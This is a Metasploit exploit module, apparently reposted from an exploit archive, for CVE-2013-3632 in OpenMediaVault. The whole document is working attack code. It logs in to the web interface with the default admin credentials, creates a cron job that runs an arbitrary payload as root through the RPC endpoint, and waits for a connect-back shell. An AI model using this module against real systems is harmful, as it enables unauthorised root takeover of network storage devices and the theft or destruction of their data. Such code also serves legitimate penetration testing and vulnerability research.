OpenMediaVault Cron Remote Command Execution Exploit

:
06.11.2013
:
OpenMediaVault
:

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => 'OpenMediaVault Cron Remote Command Execution',
'Description' => %q{
OpenMediaVault allows an authenticated user to create cron jobs as aribtrary users on the system.
An attacker can abuse this to run arbitrary commands as any user available on the system (including root).
},
'License' => MSF_LICENSE,
'Author' =>
[
'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module
],
'References' =>
[
['CVE', '2013-3632'],
['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats']
],
'Privileged' => true,
'DefaultOptions' => { 'WfsDelay' => 60 },
'Payload' =>
{
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby bash telnet python',
}
},
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD,
'Targets' => [['Automatic',{}]],
'DisclosureDate' => 'Oct 30 2013',
'DefaultTarget' => 0
))

register_options(
[
OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']),
OptString.new('PASSWORD', [ false, "Password to authenticate with", 'openmediavault'])
], self.class)
end

def exploit
init = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/index.php')
})

sess = init.get_cookies
post = "{\"service\":\"Authentication\",\"method\":\"login\",\"params\":{\"username\":\"#{datastore["USERNAME"]}\",\"password\":\"#{datastore["PASSWORD"]}\"}}"

login = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/rpc.php'),
'data' => post,
'ctype' => 'application/json',
'cookie' => sess
})

if !login or login.code != 200
fail_with("Login failed")
end

sess = login.get_cookies
post = '{"service":"Cron","method":"set","params":{"enable":true,"minute":"*","hour":"*","dayofmonth":"*","month":"*","dayofweek":"*","username":"root","command":"'
post << payload.encoded.gsub('"', '\"')
post << '","comment":"","type":"userdefined","everynminute":false,"everynhour":false,"everyndayofmonth":false,"sendemail":false,"uuid":"undefined"}}'

resp = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/rpc.php'),
'data' => post,
'ctype' => 'application/json',
'cookie' => sess
})

if !resp or resp.code != 200
fail_with("Posting cron failed.")
end

print_status("Waiting for connect-back, this will take up to a minute")
end
end